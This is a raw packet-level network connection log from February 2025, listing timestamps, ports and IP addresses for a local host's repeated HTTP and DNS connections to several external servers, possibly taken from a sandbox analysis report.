Feb 18, 2025 08:14:25.218770981 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.218777895 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.218806028 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.218882084 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.218903065 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.218909979 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219074965 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219089031 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219099998 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219105959 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219110966 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.219111919 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219118118 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219131947 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219136953 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219141960 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.219146013 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219158888 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219168901 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.219214916 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219219923 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.219239950 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.219331026 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.309724092 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309736013 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309748888 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309839964 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309847116 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309859037 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.309973955 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.309973955 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310014963 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310020924 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310034037 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310038090 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310067892 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310148954 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310180902 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310185909 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310199022 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310297966 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310345888 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310358047 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310364008 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310460091 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310506105 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310512066 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310667992 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310683012 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310683012 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310688019 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310719013 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310744047 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.310828924 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310834885 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310847998 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.310883045 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311187983 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311193943 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311207056 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311212063 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311218023 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311223984 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311237097 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311261892 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311304092 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311338902 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311345100 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311356068 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311362028 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311389923 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311423063 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311507940 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311515093 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311526060 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311532974 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311537981 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311569929 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311635971 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.311942101 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311953068 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.311959982 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312000990 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312120914 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312127113 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312133074 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312170982 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312304020 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312316895 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312321901 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312329054 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312355995 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312376976 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312484980 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312490940 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312501907 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312509060 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312654972 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312705040 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312835932 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.312844992 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312851906 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312863111 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312870026 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.312900066 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.313090086 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.313209057 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313215017 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313226938 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313231945 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313237906 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313249111 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313266039 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.313314915 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313414097 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.313419104 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313425064 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313435078 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.313446045 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.313472986 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.323811054 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323823929 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323831081 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323921919 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323928118 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323945045 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323951006 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323967934 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323972940 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:25.323972940 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.323995113 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.323995113 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:25.324023962 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:29.604012012 CET	80	49731	196.251.92.64	192.168.2.4
Feb 18, 2025 08:14:29.604093075 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:14:34.725379944 CET	52380	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:14:34.730242968 CET	53	52380	1.1.1.1	192.168.2.4
Feb 18, 2025 08:14:34.730381966 CET	52380	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:14:34.735367060 CET	53	52380	1.1.1.1	192.168.2.4
Feb 18, 2025 08:14:35.184357882 CET	52380	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:14:35.189584017 CET	53	52380	1.1.1.1	192.168.2.4
Feb 18, 2025 08:14:35.189790010 CET	52380	53	192.168.2.4	1.1.1.1
Feb 18, 2025 08:14:36.512132883 CET	49731	80	192.168.2.4	196.251.92.64
Feb 18, 2025 08:15:07.496448040 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:07.501332045 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:07.501416922 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:07.511040926 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:07.516091108 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:08.250482082 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:08.250940084 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:08.251076937 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:08.251116037 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:08.251157999 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:08.255815029 CET	52381	80	192.168.2.4	104.21.16.1
Feb 18, 2025 08:15:08.260546923 CET	80	52381	104.21.16.1	192.168.2.4
Feb 18, 2025 08:15:23.428047895 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:23.432861090 CET	80	52479	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:23.432951927 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:23.448081017 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:23.453697920 CET	80	52479	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:23.924133062 CET	80	52479	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:23.924149036 CET	80	52479	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:23.924161911 CET	80	52479	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:23.924194098 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:23.924223900 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:24.964051962 CET	52479	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:25.983927011 CET	52495	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:25.988748074 CET	80	52495	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:25.988816023 CET	52495	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:26.004981041 CET	52495	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:26.010256052 CET	80	52495	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:26.471092939 CET	80	52495	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:26.471110106 CET	80	52495	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:26.471123934 CET	80	52495	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:26.471184015 CET	52495	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:27.511017084 CET	52495	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:28.529747963 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:28.534689903 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.534799099 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:28.554032087 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:28.718342066 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.718360901 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.718485117 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.719099045 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.720082045 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.720815897 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.720832109 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.721334934 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:28.721349955 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:29.004501104 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:29.004616976 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:29.004662991 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:29.005136013 CET	80	52511	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:29.005187988 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:30.057811022 CET	52511	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.076471090 CET	52532	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.081706047 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:31.081795931 CET	52532	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.090898037 CET	52532	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.095813990 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:31.565486908 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:31.565531969 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:31.565573931 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:31.565834999 CET	52532	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.568862915 CET	52532	80	192.168.2.4	199.59.243.160
Feb 18, 2025 08:15:31.573828936 CET	80	52532	199.59.243.160	192.168.2.4
Feb 18, 2025 08:15:36.590080023 CET	52568	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:36.595031977 CET	80	52568	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:36.595129967 CET	52568	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:36.608201027 CET	52568	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:36.613030910 CET	80	52568	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:37.053355932 CET	80	52568	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:37.053574085 CET	80	52568	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:37.053621054 CET	52568	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:38.227756023 CET	52568	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:39.233014107 CET	52584	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:39.237973928 CET	80	52584	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:39.238065958 CET	52584	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:39.254173994 CET	52584	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:39.259088039 CET	80	52584	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:39.727627039 CET	80	52584	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:39.727667093 CET	80	52584	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:39.727710962 CET	52584	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:40.760998011 CET	52584	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:41.779953957 CET	52600	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:41.784935951 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.785037041 CET	52600	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:41.802930117 CET	52600	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:41.807881117 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.807900906 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.807930946 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.807945013 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.807959080 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.808150053 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.808162928 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.808176041 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:41.808188915 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:42.251498938 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:42.257509947 CET	80	52600	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:42.257628918 CET	52600	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:43.308043003 CET	52600	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.326462030 CET	52619	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.331820965 CET	80	52619	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:44.331954956 CET	52619	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.341515064 CET	52619	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.346330881 CET	80	52619	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:44.792871952 CET	80	52619	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:44.793090105 CET	80	52619	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:44.793153048 CET	52619	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.796171904 CET	52619	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:15:44.800924063 CET	80	52619	13.248.169.48	192.168.2.4
Feb 18, 2025 08:15:49.827076912 CET	52656	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:49.831978083 CET	80	52656	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:49.832098007 CET	52656	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:49.852987051 CET	52656	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:49.857994080 CET	80	52656	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:50.452797890 CET	80	52656	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:50.452816010 CET	80	52656	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:50.453083038 CET	52656	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:51.354976892 CET	52656	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:52.373496056 CET	52657	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:52.378400087 CET	80	52657	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:52.378528118 CET	52657	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:52.394565105 CET	52657	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:52.399413109 CET	80	52657	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:52.974826097 CET	80	52657	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:52.974893093 CET	80	52657	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:52.974967003 CET	52657	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:53.901657104 CET	52657	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:54.920394897 CET	52658	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:54.925170898 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.925291061 CET	52658	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:54.941356897 CET	52658	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:54.946252108 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946362972 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946373940 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946382999 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946392059 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946408987 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946666956 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946676016 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:54.946685076 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:55.550357103 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:55.550431013 CET	80	52658	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:55.550607920 CET	52658	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:56.448596001 CET	52658	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:57.467339039 CET	52659	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:57.472237110 CET	80	52659	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:57.472358942 CET	52659	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:57.481786966 CET	52659	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:57.486620903 CET	80	52659	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:58.060925961 CET	80	52659	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:58.061045885 CET	80	52659	162.0.231.203	192.168.2.4
Feb 18, 2025 08:15:58.061120033 CET	52659	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:58.064137936 CET	52659	80	192.168.2.4	162.0.231.203
Feb 18, 2025 08:15:58.068877935 CET	80	52659	162.0.231.203	192.168.2.4
Feb 18, 2025 08:16:03.194369078 CET	52660	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:03.199354887 CET	80	52660	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:03.199457884 CET	52660	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:03.216617107 CET	52660	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:03.221759081 CET	80	52660	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:03.676928043 CET	80	52660	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:03.676947117 CET	80	52660	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:03.677239895 CET	52660	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:04.729825020 CET	52660	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:05.749018908 CET	52661	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:05.753861904 CET	80	52661	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:05.753936052 CET	52661	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:05.771408081 CET	52661	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:05.776173115 CET	80	52661	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:06.212783098 CET	80	52661	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:06.212812901 CET	80	52661	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:06.212902069 CET	52661	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:07.276787043 CET	52661	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:08.297632933 CET	52662	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:08.302421093 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.303050041 CET	52662	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:08.324414968 CET	52662	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:08.329216957 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329288960 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329298973 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329314947 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329324007 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329365015 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329375029 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329472065 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.329480886 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.769023895 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.775100946 CET	80	52662	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:08.776489019 CET	52662	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:09.823858976 CET	52662	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:10.853173971 CET	52663	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:10.860416889 CET	80	52663	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:10.862785101 CET	52663	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:10.872796059 CET	52663	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:10.877558947 CET	80	52663	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:14.361450911 CET	80	52663	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:14.361464977 CET	80	52663	13.248.169.48	192.168.2.4
Feb 18, 2025 08:16:14.361639023 CET	52663	80	192.168.2.4	13.248.169.48
Feb 18, 2025 08:16:14.364614010 CET	52663	80	192.168.2.4	13.248.169.48
